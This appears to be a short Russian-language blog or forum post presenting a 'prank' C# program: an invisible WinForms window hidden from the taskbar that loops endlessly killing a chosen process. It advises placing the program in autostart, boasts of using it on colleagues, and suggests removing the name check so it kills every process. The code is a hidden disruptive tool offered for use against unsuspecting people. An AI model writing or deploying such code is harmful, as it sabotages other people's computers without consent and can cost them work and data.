Суть следующая: создается win-окошко, свойства Opasity устанавливаются на 100%, ShowInTaskBar =
false - т.е. делаем окно невидимым и в таскбаре оно отражаться не будет.
На него ничего вешать не нужно, никакой полезной функциональности оно не несет.
Далее, на событие загрузки формы вызываем метод, в котором пишем буквально
следующее:

for(;;) 

Process[] procMass=Process.GetProcesses(); 
foreach(Process x in procMass) 

if(x.ProcessName=="добавить_имя_процесса") 
x.Kill(); 

Скриптик получает список всех процессов, висящих в системе.
Сравнивает имя процесса (зависящего только от степени жестокости юного
западлостроителя) и попросту убивает его. Программку мона поместить в
автозагрузку. 🙂 В результате этого, несчастный заменяющий прокладку между
монитором и сиденьем, просто ничего не сможет понять. Пробовал на коллегах -
эффект потрясающий. Программку можно усовершенствовать - например убрать строку начинающаяся с if :))) 

К чему это приведет - пояснять, думаю, не надо.
Единственное НО - на машине "клиента" должен
стоять .NET Framework.

Вот в принципе и все.

Оставить мнение